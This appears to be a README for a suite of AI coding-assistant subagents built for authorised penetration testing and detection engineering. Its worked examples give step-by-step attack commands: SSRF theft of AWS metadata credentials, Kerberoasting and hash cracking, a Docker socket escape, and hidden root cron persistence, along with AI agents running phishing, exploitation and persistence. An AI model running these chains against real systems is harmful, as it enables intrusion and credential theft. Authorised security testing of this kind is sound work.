Claude Code subagents for offensive security research, penetration testing planning, recon analysis, exploit research, detection engineering, and security reporting
triggers
["plan a penetration test engagement","analyze nmap or bloodhound output","research exploits for this vulnerability","build detection rules for this attack","generate a penetration test report","help me with offensive security research","set up AI agents for pentesting","audit security compliance with STIG"]
pentest-ai-agents transforms Claude Code into an offensive security research assistant through 35 specialized subagents. Each agent carries deep domain knowledge in specific areas: recon, web testing, Active Directory, cloud security, mobile/wireless pentesting, social engineering, payload crafting, reverse engineering, exploit chaining, detection engineering, and forensics.
The agents route automatically based on task description—no manual agent selection needed. They understand 80+ offensive security tools (nmap, nuclei, BloodHound, Impacket, Sliver, Ghidra, etc.) and can plan engagements, analyze recon data, research exploits, chain attacks, build detections, and write reports.
Once installed, just describe your task in Claude Code:
"Plan an internal pentest for a 500-endpoint AD environment, 2-week window."
"I have a domain user, where do I look first in BloodHound?"
"Convert this SharpHound EXE into shellcode for an EDR test."
"Run a phishing simulation against acme-corp.com."
"Reverse this firmware image and analyze the crypto protocol."
Claude routes to the appropriate specialist automatically.
Slash Commands
# Get agent recommendation + concrete next commands
/recommend "phish a small SaaS team's IT department"# Filter agents by domain
/agents-for web
/agents-for cloud
/agents-for active-directory
# List all agents
/agents
Tool Audit
Check which underlying tools are installed:
# Audit all tools grouped by agent
bash db/doctor.sh
# Audit specific agent's toolchain
bash db/doctor.sh --agent ad-attacker
# Machine-readable output
bash db/doctor.sh --json
Output shows ✔ (installed) or ✘ (missing) per tool with install hints.
Findings Database
Track engagement findings in persistent SQLite:
# Initialize new engagement
bash findings.sh init acme-corp-2026
# Add a finding (auto-routed from agent output)
bash findings.sh add --severity critical --title "Domain Admin in Kerberoastable SPN" \
--description "SVC_SQL account has adminCount=1 and servicePrincipalName set" \
--cve CVE-2022-12345 --cvss 8.8 --host dc01.acme.local --tool bloodhound
# Show engagement stats
bash findings.sh stats
# Export findings as JSON
bash findings.sh export# Export as Markdown report
bash findings.sh export --format md
Schema includes cve, tool_used, mitre_attack, remediation columns.
Session Handoffs
Generate handoff reports between work sessions:
bash handoff.sh
Produces Markdown with: what was accomplished, current state, immediate next actions, blockers.
Tier 2 agents require explicit scope before executing tools:
# In Claude Code, declare scope first:"Engagement scope: 10.10.10.0/24, acme-corp.com, authorized by Jane Doe <jane@acme.com>, 2026-05-01 to 2026-05-15"# Then request actions:"Run full port scan on 10.10.10.0/24""Enumerate SMB shares on discovered hosts"
Agents refuse actions outside declared IP ranges, domains, and time windows.
Hard Refusal List
All agents enforce scope guards that refuse:
Denial of Service (DoS/DDoS)
Mass internet scanning
Unattended worm/ransomware propagation
False-flag operations
Safety-of-life system targeting (medical, industrial control)
Usage Patterns
Engagement Planning
# In Claude Code:"Plan a 2-week external pentest for fintech-startup.io. Assume no prior credentials. Focus on web app, API, and cloud infrastructure."
Suggests next commands: ffuf -u http://10.10.10.50/FUZZ -w /usr/share/wordlists/dirb/common.txt
Active Directory Attack Chains
# After obtaining BloodHound JSON:"I have domain user alice@acme.local. BloodHound data is in ./bloodhound/. Show me paths to Domain Admins and recommend attacks."
# Use Haiku for advisory agents (engagement-planner, exploit-guide, detection-engineer)
./install.sh --global --lite
# Or set manually:export PENTEST_TIER1_MODEL="claude-3-5-haiku-20241022"export PENTEST_TIER2_MODEL="claude-3-7-sonnet-20250219"
Cost comparison (per 1M tokens input):
Haiku: $0.80
Sonnet: $3.00
Tier 1 agents handle ~80% of interactions (planning, analysis, recommendations). Using Haiku for Tier 1 cuts costs by ~60% with minimal quality impact.
Context Management
Agents use structured tool output parsing to minimize repeated context:
# Instead of pasting full nmap XML into chat:
findings.sh import --file acme-scan.xml
# Agent queries SQLite directly:
SELECT host, port, service, version FROM scan_results WHERE severity='critical';
Reduces token usage by 10-50× for large scan outputs.
llama3:70b: Comparable to Haiku for planning/analysis
codellama:34b: Decent for exploit POC generation
Limitations: Local models struggle with complex exploit chaining and detection rule generation. Recommend hybrid mode: local for Tier 1, Claude Sonnet for Tier 2.
Troubleshooting
Agent Not Routing
Symptom: Claude doesn't invoke the right agent for your task.
Fix: Be more explicit in task description:
# Vague"Help with Active Directory"# Specific"I have a domain user. Analyze BloodHound data and recommend Kerberoasting attacks."
Or use slash commands:
/recommend "domain user to domain admin in AD environment"
Tools Not Found
Symptom: Agent recommends command, but tool isn't installed.
Symptom: Tier 2 agent refuses to run commands: "No engagement scope declared."
Fix: Declare scope first:
"Engagement scope: 10.10.10.0/24, testlab.local, authorized by Alice <alice@example.com>, 2026-05-01 to 2026-05-31"
Include: IP ranges, domains, authorizing party, time window.
Findings Database Locked
Symptom: database is locked error when adding findings.
Fix:
# Close any open findings.sh processes
pkill -f findings.sh
# Or use WAL mode (write-ahead logging):
sqlite3 ~/.pentest/findings.db "PRAGMA journal_mode=WAL;"
Out-of-Date Agent Knowledge
Symptom: Agent recommends deprecated tool or technique.
Fix: Update agents:
cd pentest-ai-agents
git pull
./install.sh --global
Agents track tool updates via community feedback. File issues for outdated recommendations.
Real-World Examples
Example 1: Full External Pentest Workflow
# Step 1: Plan engagement# In Claude Code:"Plan a 2-week external pentest for acme-corp.com. No credentials. Focus on web, API, cloud."# engagement-planner produces timeline, ROE, tool list# Step 2: OSINT recon"Run OSINT on acme-corp.com. Find subdomains, employee emails, leaked credentials."# osint-collector executes:
subfinder -d acme-corp.com -o subs.txt
amass enum -d acme-corp.com -o amass.txt
theHarvester -d acme-corp.com -b all -f harvest.json
# Searches breach databases (dehashed, etc.)# Step 3: Vulnerability scanning"Scan discovered hosts with nuclei for critical/high severity issues."# vuln-scanner:
nuclei -l live-hosts.txt -severity critical,high -json -o nuclei.json
# Step 4: Prioritize targets"Analyze nuclei.json. Which hosts are most likely to give initial access?"# recon-advisor:# 1. Parses JSON# 2. Identifies: SSRF in admin panel, outdated WordPress, exposed Git repo# 3. Recommends: "Target admin.acme-corp.com/debug (SSRF) for cloud metadata access"# Step 5: Exploit SSRF"Exploit SSRF at admin.acme-corp.com/debug to access AWS metadata and pivot to S3."# exploit-chainer:
curl "https://admin.acme-corp.com/debug?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"# Extracts AWS keys
aws s3 ls --profile stolen-creds
# Finds sensitive data bucket# Step 6: Build detection"Build Sigma and Splunk rules to detect SSRF to cloud metadata endpoints."# detection-engineer:# Produces Sigma rule + Splunk SPL + AWS CloudTrail query# Step 7: Report"Generate executive summary and technical findings report."# report-generator:# Outputs Markdown with CVSS scores, remediation steps, attack timeline
Example 2: AD Privilege Escalation from User to Domain Admin
# Starting point: domain user alice@corp.local# Step 1: Enumerate AD"I have alice@corp.local credentials. Enumerate AD and find paths to Domain Admins."# ad-attacker:
bloodhound-python -u alice -p 'Password123' -d corp.local -dc dc01.corp.local -c All --zip
# Uploads to BloodHound GUI or parses JSON locally# Step 2: Identify attack path"Analyze BloodHound data. What's the shortest path to DA?"# ad-attacker:# Finds: alice → MemberOf → IT-Admins → GenericWrite → SVC_SQL → Kerberoastable → DA group# Step 3: Execute attack chain"Execute the attack chain: GenericWrite to add SPN, Kerberoast SVC_SQL, crack hash."# ad-attacker:# 1. Add SPN to SVC_SQL (GenericWrite abuse)
python3 addspn.py -u alice -p 'Password123' -t SVC_SQL -s HTTP/fake.corp.local corp.local/dc01
# 2. Kerberoast
GetUserSPNs.py corp.local/alice:Password123 -dc-ip dc01.corp.local -request -outputfile tgs.txt
# 3. Crack
hashcat -m 13100 tgs.txt rockyou.txt
# 4. Validate DA access
netexec smb dc01.corp.local -u SVC_SQL -p 'CrackedPassword' --shares
# Step 4: Build detection"Build detection rules for GenericWrite SPN modification and Kerberoasting."# detection-engineer:# Sigma rule for Event ID 4742 (user object modified) + SPN change# Splunk correlation for 4742 → 4769 (TGS request) within 5 minutes
Example 3: Container Escape to Host Root
# Starting point: Shell inside Docker container# Step 1: Assess container environment"I have a shell in a Docker container. Assess escape vectors."# container-breakout:# Checks: privileged flag, host PID namespace, mounted /var/run/docker.sock, capabilities# Step 2: Exploit mounted docker.sock"docker.sock is mounted. Exploit it to escape to host."# container-breakout:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host /bin/bash
# Now root on host# Step 3: Persistence"Establish persistence on the host as root."# c2-operator:# Recommends: cron job, systemd service, SSH key injectionecho"* * * * * root /tmp/.update.sh" >> /host/etc/crontab
# Step 4: Detection"Build Falco rule to detect docker.sock abuse from containers."# detection-engineer:# Falco rule for container process accessing /var/run/docker.sock
Legal and Ethical Use
Authorized testing only. All agents enforce scope guards:
Users are responsible for obtaining proper authorization before testing. pentest-ai-agents is a research and education tool. Unauthorized testing is illegal.